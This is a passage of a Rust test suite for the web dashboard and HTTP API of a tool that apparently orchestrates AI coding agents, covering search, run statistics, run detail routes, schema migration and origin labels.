17663        assert_eq!(v["hits"][0]["field"], "title");
17664        assert_eq!(v["unreadable"], 1, "{v}");
17665        let marked: Vec<&str> = v["hits"][0]["snippet"]
17666            .as_array()
17667            .unwrap()
17668            .iter()
17669            .filter(|p| p["hit"] == true)
17670            .map(|p| p["text"].as_str().unwrap())
17671            .collect();
17672        assert_eq!(marked, ["Pangolin"]);
17673
17674        // An agent turn, in a closed conversation.
17675        let v = search("zebra").await;
17676        assert_eq!(v["total"], 1, "{v}");
17677        assert_eq!(v["hits"][0]["field"], "agent");
17678        // Words may sit in different turns; all must be present.
17679        assert_eq!(search("pangolin%20thirty").await["total"], 1);
17680        assert_eq!(search("pangolin%20zebra").await["total"], 0);
17681        // Bookkeeping is not searched.
17682        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17683            assert_eq!(search(q).await["total"], 0, "{q}");
17684        }
17685        // The first line only is the title; the second line is still a turn.
17686        assert_eq!(search("second").await["hits"][0]["field"], "operator");
17687        // Open conversations are listed before closed ones.
17688        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17689
17690        let v = f.get("/api/search?scope=nope&q=a").await;
17691        assert_eq!(v.status, 400);
17692        assert!(
17693            v.body.contains("scope must be runs, tasks or chats"),
17694            "{}",
17695            v.body
17696        );
17697    }
17698
17699    #[test]
17700    fn a_question_card_links_a_task_id_to_the_task_page() {
17701        let start = APP_JS
17702            .find("function updateAskCard(")
17703            .expect("updateAskCard exists");
17704        let body = &APP_JS[start..];
17705        let body = &body[..body.find("\n}\n").expect("function end")];
17706        assert!(body.contains("question.run_is_task"));
17707        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17708        assert!(body.contains("`#/runs/${question.run}`"));
17709        assert!(body.contains("\"task\" : \"run\""));
17710    }
17711
17712    #[test]
17713    fn plain_text_message_surfaces_go_through_linkify() {
17714        assert!(APP_JS.contains("function linkify("));
17715        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17716        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17717        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17718        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17719        assert!(!APP_JS.contains("innerHTML = text"));
17720    }
17721
17722    #[test]
17723    fn implementation_rate_views_keep_independent_samples() {
17724        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17725            let a = stats::AgentStats {
17726                competitive_entered: competitive_n,
17727                competitive_wins: usize::from(competitive_n > 0),
17728                solo_entered: solo_n,
17729                solo_adopted: 2 * usize::from(solo_n > 0),
17730                ..Default::default()
17731            };
17732            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17733            for (key, n, numerator) in [
17734                ("competitive_win_rate", competitive_n, a.competitive_wins),
17735                ("solo_adoption_rate", solo_n, a.solo_adopted),
17736            ] {
17737                if n == 0 {
17738                    assert!(v[key].is_null());
17739                } else {
17740                    assert_eq!(v[key]["denominator"], n);
17741                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17742                }
17743            }
17744        }
17745        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17746        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17747        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17748        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17749    }
17750
17751    #[test]
17752    fn stats_bars_share_one_id_keyed_plan() {
17753        let start = APP_JS
17754            .find("function statsBarRows(")
17755            .expect("statsBarRows exists");
17756        let body = &APP_JS[start..];
17757        let body = &body[..body.find("\n}\n").expect("function end")];
17758        assert!(body.contains("statsBarPlan(rows)"));
17759        assert!(body.contains("statsAgentTone(row.agent)"));
17760        assert!(!body.contains("candTone(i)"));
17761        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17762        for root in [
17763            "stats-agents-bars",
17764            "stats-solo-bars",
17765            "stats-reviewers-bars",
17766        ] {
17767            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17768        }
17769    }
17770
17771    #[test]
17772    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17773        let start = APP_JS
17774            .find("function renderStatsReviewerScatter(")
17775            .expect("renderStatsReviewerScatter exists");
17776        let body = &APP_JS[start..];
17777        let body = &body[..body.find("\n}\n").expect("function end")];
17778        assert!(body.contains("statsScatterPlan(reviewers)"));
17779        assert!(body.contains("statsAgentTone(d.agent)"));
17780        assert!(APP_JS.contains("function statsScatterPlan("));
17781        assert!(
17782            APP_JS.contains("d.submitted < STATS_LOW_N")
17783                || APP_JS.contains("r.submitted < STATS_LOW_N")
17784        );
17785        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17786        assert!(APP_CSS.contains(".precision-scatter"));
17787    }
17788
17789    #[test]
17790    fn advisor_reflection_is_drawn_as_stacked_segments() {
17791        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17792        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17793        let html = include_str!("../assets/ui/index.html");
17794        assert!(html.contains("Approximate"));
17795        for label in ["reflected strongly", "faint", "no proposal"] {
17796            assert!(html.contains(label));
17797        }
17798        let css = include_str!("../assets/ui/app.css");
17799        for c in ["refl-strong", "refl-faint", "refl-absent"] {
17800            assert!(css.contains(&format!(".{c} {{")));
17801        }
17802    }
17803
17804    #[test]
17805    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17806        assert!(APP_JS.contains("function statsDailyPlan("));
17807        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17808        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17809    }
17810
17811    #[test]
17812    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17813        let start = APP_JS
17814            .find("function scheduleSearch(")
17815            .expect("scheduleSearch exists");
17816        let body = &APP_JS[start..];
17817        let body = &body[..body.find("\n}\n").expect("function end")];
17818        assert!(body.contains("s.seq += 1"));
17819    }
17820
17821    /// The dashboard reads every run's state itself rather than trusting a
17822    /// separately-maintained count, so an unreadable run must be counted the
17823    /// same way `/api/health` counts it - never silently dropped the way the
17824    /// CLI's own `stats::load_all` drops it.
17825    #[tokio::test]
17826    async fn stats_runs_unreadable_matches_health() {
17827        let f = Fixture::start().await;
17828        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17829        let broken = f.runs().join("20260902-140502-bad");
17830        std::fs::create_dir_all(&broken).expect("run dir");
17831        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17832
17833        let stats = f.get("/api/stats").await;
17834        let health = f.get("/api/health").await;
17835
17836        assert_eq!(stats.status, 200);
17837        assert_eq!(stats.json()["totals"]["runs"], 1);
17838        assert_eq!(stats.json()["runs_unreadable"], 1);
17839        assert_eq!(
17840            stats.json()["runs_unreadable"],
17841            health.json()["runs_unreadable"],
17842            "the dashboard and /api/health must never disagree about how many \
17843             runs could not be read"
17844        );
17845    }
17846
17847    #[tokio::test]
17848    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17849        let f = Fixture::start().await;
17850        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17851        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17852        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17853
17854        let totals = &f.get("/api/stats").await.json()["totals"];
17855        assert_eq!(totals["runs"], 3);
17856        assert_eq!(totals["merged"], 1);
17857        assert_eq!(totals["stalled"], 1);
17858        assert_eq!(totals["in_progress"], 1);
17859        // A stalled run must never read as blocked/merged/ready - it is its
17860        // own bucket, not folded into a "decided" one.
17861        assert_eq!(totals["blocked"], 0);
17862        assert_eq!(totals["ready"], 0);
17863    }
17864
17865    #[tokio::test]
17866    async fn stats_advisors_report_proposals_and_reflection() {
17867        use crate::advise::{Advice, AdvisorRecord, Reflection};
17868        use crate::verdict::Proposal;
17869
17870        let f = Fixture::start().await;
17871        let mut state = RunState::new(
17872            PathBuf::from("/repo/magi"),
17873            "main".to_owned(),
17874            "0123456789abcdef".to_owned(),
17875            "task".to_owned(),
17876            Config::default(),
17877        );
17878        state.id = "20260902-140501-a".to_owned();
17879        state.status = RunStatus::Merged;
17880        state.advice = Some(Advice {
17881            records: vec![
17882                AdvisorRecord {
17883                    seat: "advisor-1".to_owned(),
17884                    agent: "alpha".to_owned(),
17885                    proposal: Some(Proposal {
17886                        approach: "do it".to_owned(),
17887                        key_tradeoff: "speed over memory".to_owned(),
17888                        risks: Vec::new(),
17889                        touches: Vec::new(),
17890                        why_not_naive: "breaks under load".to_owned(),
17891                    }),
17892                    error: None,
17893                    duration_ms: 0,
17894                    reflection: Reflection::Strong,
17895                },
17896                AdvisorRecord {
17897                    seat: "advisor-2".to_owned(),
17898                    agent: "alpha".to_owned(),
17899                    proposal: None,
17900                    error: Some("timed out".to_owned()),
17901                    duration_ms: 0,
17902                    reflection: Reflection::Absent,
17903                },
17904            ],
17905            synthesis: Some("blended brief".to_owned()),
17906        });
17907        let dir = f.runs().join(&state.id);
17908        std::fs::create_dir_all(&dir).expect("run dir");
17909        std::fs::write(
17910            dir.join("run.json"),
17911            serde_json::to_string_pretty(&state).expect("serialize run"),
17912        )
17913        .expect("write run.json");
17914
17915        // `alpha` is in no roster here; this test is about the rates.
17916        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17917        let alpha = advisors
17918            .as_array()
17919            .expect("an array")
17920            .iter()
17921            .find(|a| a["agent"] == "alpha")
17922            .expect("alpha row");
17923        assert_eq!(alpha["seated"], 2);
17924        assert_eq!(alpha["proposed"], 1);
17925        assert_eq!(alpha["absent"], 1);
17926        assert_eq!(alpha["strong"], 1);
17927        assert_eq!(alpha["faint"], 0);
17928        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17929    }
17930
17931    #[tokio::test]
17932    async fn stats_hides_agents_outside_the_roster_unless_all() {
17933        use crate::run::Candidate;
17934        let repo = TempDir::new().expect("repo dir");
17935        std::fs::write(
17936            repo.path().join("magi.toml"),
17937            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17938        )
17939        .expect("magi.toml");
17940        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17941        let mut state = RunState::new(
17942            PathBuf::from("/repo/magi"),
17943            "main".to_owned(),
17944            "0123456789abcdef".to_owned(),
17945            "task".to_owned(),
17946            Config::default(),
17947        );
17948        state.id = "20260902-140501-a".to_owned();
17949        state.status = RunStatus::Merged;
17950        for (label, agent) in [('A', "keep"), ('B', "retired")] {
17951            let mut c: Candidate = serde_json::from_value(serde_json::json!({
17952                "index": 0, "label": label.to_string(), "agent": agent,
17953                "branch": "b", "worktree": "/w",
17954            }))
17955            .expect("candidate");
17956            c.label = label;
17957            state.candidates.push(c);
17958        }
17959        let dir = f.runs().join(&state.id);
17960        std::fs::create_dir_all(&dir).expect("run dir");
17961        std::fs::write(
17962            dir.join("run.json"),
17963            serde_json::to_string_pretty(&state).expect("serialize run"),
17964        )
17965        .expect("write run.json");
17966
17967        let agents_of = |v: &serde_json::Value| -> Vec<String> {
17968            v["agents"]
17969                .as_array()
17970                .expect("array")
17971                .iter()
17972                .map(|a| a["agent"].as_str().unwrap().to_owned())
17973                .collect()
17974        };
17975        let hidden = f.get("/api/stats").await.json();
17976        assert_eq!(agents_of(&hidden), ["keep"]);
17977        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17978        assert_eq!(hidden["totals"]["runs"], 1);
17979
17980        let all = f.get("/api/stats?all=true").await.json();
17981        assert_eq!(agents_of(&all).len(), 2);
17982        assert_eq!(all["retired_hidden"], serde_json::json!([]));
17983        // Verify competitive and solo keys exist on agent entries
17984        let keep_agent = all["agents"]
17985            .as_array()
17986            .unwrap()
17987            .iter()
17988            .find(|a| a["agent"] == "keep")
17989            .unwrap();
17990        assert_eq!(keep_agent["competitive_entered"], 1);
17991        assert_eq!(keep_agent["competitive_wins"], 0);
17992        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17993        assert_eq!(keep_agent["solo_entered"], 0);
17994        assert_eq!(keep_agent["solo_adopted"], 0);
17995        assert!(keep_agent["solo_adoption_rate"].is_null());
17996    }
17997
17998    #[tokio::test]
17999    async fn stats_release_bumps_split_clean_from_attention() {
18000        use crate::run::ReleaseBump;
18001
18002        let f = Fixture::start().await;
18003
18004        let mut clean = RunState::new(
18005            PathBuf::from("/repo/magi"),
18006            "main".to_owned(),
18007            "0123456789abcdef".to_owned(),
18008            "task".to_owned(),
18009            Config::default(),
18010        );
18011        clean.id = "20260902-140501-a".to_owned();
18012        clean.status = RunStatus::Merged;
18013        clean.release_bump = Some(ReleaseBump {
18014            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18015            version: Some("1.0.0".to_owned()),
18016            automerge_enabled: true,
18017            merged_directly: false,
18018            local: false,
18019            release: None,
18020            problem: None,
18021            action_required: None,
18022        });
18023
18024        let mut blocked = RunState::new(
18025            PathBuf::from("/repo/magi"),
18026            "main".to_owned(),
18027            "0123456789abcdef".to_owned(),
18028            "task".to_owned(),
18029            Config::default(),
18030        );
18031        blocked.id = "20260902-140502-b".to_owned();
18032        blocked.status = RunStatus::Merged;
18033        blocked.release_bump = Some(ReleaseBump {
18034            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18035            version: Some("1.0.1".to_owned()),
18036            automerge_enabled: false,
18037            merged_directly: false,
18038            local: false,
18039            release: None,
18040            problem: Some("checks red".to_owned()),
18041            action_required: Some("look at the PR".to_owned()),
18042        });
18043
18044        for state in [&clean, &blocked] {
18045            let dir = f.runs().join(&state.id);
18046            std::fs::create_dir_all(&dir).expect("run dir");
18047            std::fs::write(
18048                dir.join("run.json"),
18049                serde_json::to_string_pretty(state).expect("serialize run"),
18050            )
18051            .expect("write run.json");
18052        }
18053
18054        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18055        assert_eq!(bumps["merged"], 2);
18056        assert_eq!(bumps["recorded"], 2);
18057        assert_eq!(bumps["pr_opened"], 2);
18058        assert_eq!(bumps["automerge_enabled"], 1);
18059        assert_eq!(bumps["needs_attention"], 1);
18060        assert_eq!(bumps["clean"], 1);
18061        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18062        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18063    }
18064
18065    #[tokio::test]
18066    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18067        let f = Fixture::start().await;
18068        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18069
18070        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18071        assert_eq!(bumps["merged"], 1);
18072        assert_eq!(bumps["recorded"], 0);
18073        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18074        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18075        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18076        // `pr_opened` and `recorded` are both zero here, so these rates have
18077        // no denominator to compute from and must be null.
18078        assert_eq!(bumps["automerge_rate"], Value::Null);
18079        assert_eq!(bumps["attention_rate"], Value::Null);
18080    }
18081
18082    #[tokio::test]
18083    async fn stats_queue_counts_come_from_the_live_queue() {
18084        let f = Fixture::start().await;
18085        let q = f.queue();
18086        let mut queued = Task::new(
18087            "queued task".to_owned(),
18088            "do it".to_owned(),
18089            PathBuf::from("/repo"),
18090            Source::Human,
18091        );
18092        q.put(&mut queued).expect("put queued");
18093        let mut held = Task::new(
18094            "held task".to_owned(),
18095            "do it later".to_owned(),
18096            PathBuf::from("/repo"),
18097            Source::Human,
18098        );
18099        held.hold_machine(Some("out of attempts".to_owned()));
18100        q.put(&mut held).expect("put held");
18101
18102        let queue = f.get("/api/stats").await.json()["queue"].clone();
18103        assert_eq!(queue["queued"], 1);
18104        assert_eq!(queue["held"], 1);
18105        assert_eq!(queue["running"], 0);
18106        assert_eq!(queue["done"], 0);
18107        assert_eq!(queue["failed"], 0);
18108        assert_eq!(queue["blocked"], 0);
18109    }
18110
18111    #[tokio::test]
18112    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18113        let f = Fixture::start().await;
18114        let stats = f.get("/api/stats").await;
18115        assert_eq!(stats.status, 200);
18116        assert_eq!(stats.json()["totals"]["runs"], 0);
18117        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18118        assert_eq!(stats.json()["runs_unreadable"], 0);
18119        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18120        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18121        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18122        assert_eq!(stats.json()["repo"], Value::Null);
18123    }
18124
18125    #[tokio::test]
18126    async fn stats_lists_every_repository_with_runs_recorded() {
18127        let f = Fixture::start().await;
18128        write_run_repo(
18129            &f.runs(),
18130            "20260902-140501-a",
18131            RunStatus::Merged,
18132            "/repos/a",
18133        );
18134        write_run_repo(
18135            &f.runs(),
18136            "20260902-140502-b",
18137            RunStatus::Merged,
18138            "/repos/a",
18139        );
18140        write_run_repo(
18141            &f.runs(),
18142            "20260902-140503-c",
18143            RunStatus::Blocked,
18144            "/repos/b",
18145        );
18146
18147        let stats = f.get("/api/stats").await;
18148        assert_eq!(stats.status, 200);
18149        // Unfiltered - the aggregate across both repositories.
18150        assert_eq!(stats.json()["totals"]["runs"], 3);
18151        assert_eq!(stats.json()["repo"], Value::Null);
18152
18153        let repos = stats.json()["repos"].clone();
18154        let repos = repos.as_array().unwrap();
18155        assert_eq!(repos.len(), 2);
18156        // Busiest (2 runs) first.
18157        assert_eq!(repos[0]["repo"], "/repos/a");
18158        assert_eq!(repos[0]["name"], "a");
18159        assert_eq!(repos[0]["runs"], 2);
18160        assert_eq!(repos[1]["repo"], "/repos/b");
18161        assert_eq!(repos[1]["runs"], 1);
18162    }
18163
18164    #[tokio::test]
18165    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18166        let f = Fixture::start().await;
18167        write_run_repo(
18168            &f.runs(),
18169            "20260902-140501-a",
18170            RunStatus::Merged,
18171            "/repos/a",
18172        );
18173        write_run_repo(
18174            &f.runs(),
18175            "20260902-140502-b",
18176            RunStatus::Blocked,
18177            "/repos/b",
18178        );
18179
18180        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18181        assert_eq!(stats.status, 200);
18182        assert_eq!(stats.json()["totals"]["runs"], 1);
18183        assert_eq!(stats.json()["totals"]["merged"], 1);
18184        assert_eq!(stats.json()["repo"], "/repos/a");
18185        // The repository list itself is unaffected by the filter - it is
18186        // what a client switches repositories from.
18187        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18188        // runs_unreadable is a whole-workload count, never scoped to the
18189        // selected repository - see StatsView::runs_unreadable's own doc.
18190        assert_eq!(stats.json()["runs_unreadable"], 0);
18191    }
18192
18193    #[tokio::test]
18194    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18195        let f = Fixture::start().await;
18196        write_run_repo(
18197            &f.runs(),
18198            "20260902-140501-a",
18199            RunStatus::Merged,
18200            "/repos/a",
18201        );
18202        write_run_repo(
18203            &f.runs(),
18204            "20260902-140502-b",
18205            RunStatus::Merged,
18206            "/repos/b",
18207        );
18208
18209        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18210            let json = f.get(uri).await.json();
18211            let daily = json["daily"].as_array().expect("daily is an array");
18212            assert_eq!(daily.len(), 30);
18213            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18214            let mut sorted = dates.clone();
18215            sorted.sort();
18216            assert_eq!(dates, sorted);
18217            for d in daily {
18218                assert_eq!(
18219                    d["merged"].as_u64().unwrap()
18220                        + d["ready"].as_u64().unwrap()
18221                        + d["other"].as_u64().unwrap(),
18222                    d["runs"].as_u64().unwrap()
18223                );
18224            }
18225            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18226        }
18227    }
18228
18229    #[tokio::test]
18230    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18231        let f = Fixture::start().await;
18232        write_run_repo(
18233            &f.runs(),
18234            "20260902-140501-a",
18235            RunStatus::Merged,
18236            "/repos/a",
18237        );
18238
18239        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18240        assert_eq!(stats.status, 404);
18241    }
18242
18243    #[tokio::test]
18244    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18245        let f = Fixture::start().await;
18246        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18247
18248        let summary = f.get("/api/runs").await.json();
18249        let row = &summary[0];
18250        assert_eq!(row["short"], "a1b2");
18251        assert_eq!(row["status"], "ready");
18252        assert_eq!(row["done"], true);
18253        assert_eq!(row["title"], "Add a web UI");
18254        assert_eq!(row["repo_name"], "magi");
18255        assert_eq!(row["judges"], 3);
18256        assert_eq!(row["winner"], Value::Null);
18257        assert_eq!(row["reviews"], 0);
18258
18259        // The short id resolves, and the detail route is the state itself, not
18260        // a projection of it: the UI reads fields the summary does not carry.
18261        let detail = f.get("/api/runs/a1b2").await;
18262        assert_eq!(detail.status, 200);
18263        assert_eq!(detail.json()["base_branch"], "main");
18264        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18265    }
18266
18267    /// `status: "ready"` alone cannot tell a run still headed for a landing
18268    /// (a PR closed without merging, say) apart from one `[merge] mode =
18269    /// "none"` left unmerged for good — the confusion the operator flagged
18270    /// after the CLI report already grew a `not landed — nothing to do by
18271    /// design` line for exactly this case (`report.rs`). Both the list route
18272    /// and the detail route must carry a flag the phone can key on instead of
18273    /// re-deriving it from `status` + `merge.mode` itself.
18274    #[tokio::test]
18275    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18276        let f = Fixture::start().await;
18277
18278        let mut none_run = RunState::new(
18279            PathBuf::from("/repo/magi"),
18280            "main".to_owned(),
18281            "0123456789abcdef".to_owned(),
18282            "Add a web UI".to_owned(),
18283            Config::default(),
18284        );
18285        none_run.id = "20260902-140503-none".to_owned();
18286        none_run.status = RunStatus::Ready;
18287        none_run.merge = Some(crate::run::MergeOutcome {
18288            mode: crate::config::MergeMode::None,
18289            ok: true,
18290            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18291            empty: false,
18292        });
18293        write_state(&f.runs(), &none_run);
18294
18295        let mut pr_run = RunState::new(
18296            PathBuf::from("/repo/magi"),
18297            "main".to_owned(),
18298            "0123456789abcdef".to_owned(),
18299            "Add a web UI".to_owned(),
18300            Config::default(),
18301        );
18302        pr_run.id = "20260902-140504-prcl".to_owned();
18303        pr_run.status = RunStatus::Ready;
18304        pr_run.merge = Some(crate::run::MergeOutcome {
18305            mode: crate::config::MergeMode::Pr,
18306            ok: false,
18307            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18308            empty: false,
18309        });
18310        write_state(&f.runs(), &pr_run);
18311
18312        let summary = f.get("/api/runs").await.json();
18313        let rows: std::collections::HashMap<&str, &Value> = summary
18314            .as_array()
18315            .expect("an array")
18316            .iter()
18317            .map(|r| (r["id"].as_str().expect("an id"), r))
18318            .collect();
18319        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18320        assert_eq!(
18321            rows[none_run.id.as_str()]["unmerged_by_design"],
18322            true,
18323            "a mode-none Ready must be flagged in the list"
18324        );
18325        assert_eq!(
18326            rows[pr_run.id.as_str()]["unmerged_by_design"],
18327            false,
18328            "a Ready reached by a closed pull request is a different case"
18329        );
18330
18331        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18332        assert_eq!(none_detail["status"], "ready");
18333        assert_eq!(none_detail["unmerged_by_design"], true);
18334
18335        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18336        assert_eq!(pr_detail["unmerged_by_design"], false);
18337    }
18338
18339    /// `RunState::active` is only ever cleared by whoever populated it, so the
18340    /// detail route also has to say whether a daemon is actually still
18341    /// driving this run right now — otherwise a seat from a killed process's
18342    /// last wave would read as live forever.
18343    #[tokio::test]
18344    async fn run_core_survives_unavailable_related_stores() {
18345        let home = TempDir::new().unwrap();
18346        let ui = delta_test_ui(home.path());
18347        let state = RunState::new(
18348            PathBuf::from("/repo/magi"),
18349            "main".into(),
18350            "0123456789abcdef".into(),
18351            "Useful core instructions".into(),
18352            Config::default(),
18353        );
18354        let dir = ui.runs.join(&state.id);
18355        std::fs::create_dir_all(&dir).unwrap();
18356        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18357        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18358        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18359        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18360            .await
18361            .unwrap()
18362            .0;
18363        assert_eq!(core.state.instruction, state.instruction);
18364        assert_eq!(core.state.updated_at, state.updated_at);
18365        assert!(core.task.is_none());
18366        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18367    }
18368
18369    #[tokio::test]
18370    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18371        let f = Fixture::start().await;
18372        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18373        // half of this test can claim the daemon is working on it without a
18374        // second helper.
18375        let id = "20260902-140502-bbbb";
18376        let mut state = RunState::new(
18377            PathBuf::from("/repo/magi"),
18378            "main".to_owned(),
18379            "0123456789abcdef".to_owned(),
18380            "Add a web UI".to_owned(),
18381            Config::default(),
18382        );
18383        state.id = id.to_owned();
18384        state.status = RunStatus::Judging;
18385        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18386        let dir = f.runs().join(id);
18387        std::fs::create_dir_all(&dir).expect("run dir");
18388        std::fs::write(
18389            dir.join("run.json"),
18390            serde_json::to_string_pretty(&state).expect("serialize run"),
18391        )
18392        .expect("write run.json");
18393
18394        // No daemon.json at all, and no `driver_pid` recorded either (this
18395        // state was written directly, never through `execute()`): there is
18396        // nothing to confirm either way, so the route must say `"unknown"` —
18397        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18398        // run` used to get from this route before `driver_pid` existed.
18399        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18400        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18401        assert_eq!(cold["live"], "unknown", "{cold}");
18402
18403        // A fresh heartbeat naming exactly this run: the same entry now reads
18404        // as confirmed, not merely recorded.
18405        write_daemon(f.home.path(), Timestamp::now());
18406        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18407        assert_eq!(warm["live"], "live", "{warm}");
18408    }
18409
18410    #[test]
18411    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18412        let home = tempfile::tempdir().expect("temp home");
18413        let runs = home.path().join("runs");
18414        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18415            let mut state = RunState::new(
18416                PathBuf::from("/repo/magi"),
18417                "main".to_owned(),
18418                "0123456789abcdef".to_owned(),
18419                "Generated review context, not authored task criteria".to_owned(),
18420                Config::default(),
18421            );
18422            state.origin = origin;
18423            state.status = RunStatus::Blocked;
18424            // Earlier migrations must not infer these facts again.
18425            state.driver_exited = false;
18426            state.gate_ran = true;
18427            let expected = serde_json::to_value(&state).expect("serialize current state");
18428            let mut legacy = expected.clone();
18429            legacy["schema"] = serde_json::json!(13);
18430            legacy.as_object_mut().unwrap().remove("task_instruction");
18431            let dir = runs.join(&state.id);
18432            std::fs::create_dir_all(&dir).expect("run dir");
18433            let path = dir.join("run.json");
18434            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18435            std::fs::write(&path, &body).expect("write legacy run");
18436
18437            for loaded in [
18438                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18439                read_run(&runs, &state.id).expect("web migration"),
18440            ] {
18441                assert_eq!(loaded.schema, crate::run::SCHEMA);
18442                assert!(loaded.task_instruction.is_none());
18443                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18444            }
18445            assert_eq!(runs_unreadable(&runs), 0);
18446            assert_eq!(std::fs::read(&path).unwrap(), body);
18447        }
18448    }
18449
18450    /// Where a run came from is shown, and a run written before origins were
18451    /// recorded (schema 12, no `origin` key) stays readable and says so.
18452    #[tokio::test]
18453    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18454        let f = Fixture::start().await;
18455        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18456            let mut state = RunState::new(
18457                PathBuf::from("/repo/magi"),
18458                "main".to_owned(),
18459                "0123456789abcdef".to_owned(),
18460                "Add a web UI".to_owned(),
18461                Config::default(),
18462            );
18463            state.id = id.to_owned();
18464            state.origin = origin;
18465            let mut value = serde_json::to_value(&state).expect("serialize run");
18466            if let Some(schema) = schema {
18467                value["schema"] = serde_json::json!(schema);
18468                value.as_object_mut().unwrap().remove("origin");
18469            }
18470            let dir = f.runs().join(id);
18471            std::fs::create_dir_all(&dir).expect("run dir");
18472            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18473        };
18474        write(
18475            "20260930-092817-ec34",
18476            Some(crate::run::Origin::from_agent_env(
18477                Some(("4a7b".to_owned(), "chat".to_owned())),
18478                None,
18479            )),
18480            None,
18481        );
18482        write("20260930-092817-0ld1", None, Some(12));
18483
18484        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18485        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18486        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18487
18488        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18489        assert_eq!(
18490            old["origin_label"], "origin unknown (started before origins were recorded)",
18491            "{old}"
18492        );
18493        assert!(old["origin"].is_null(), "{old}");
18494
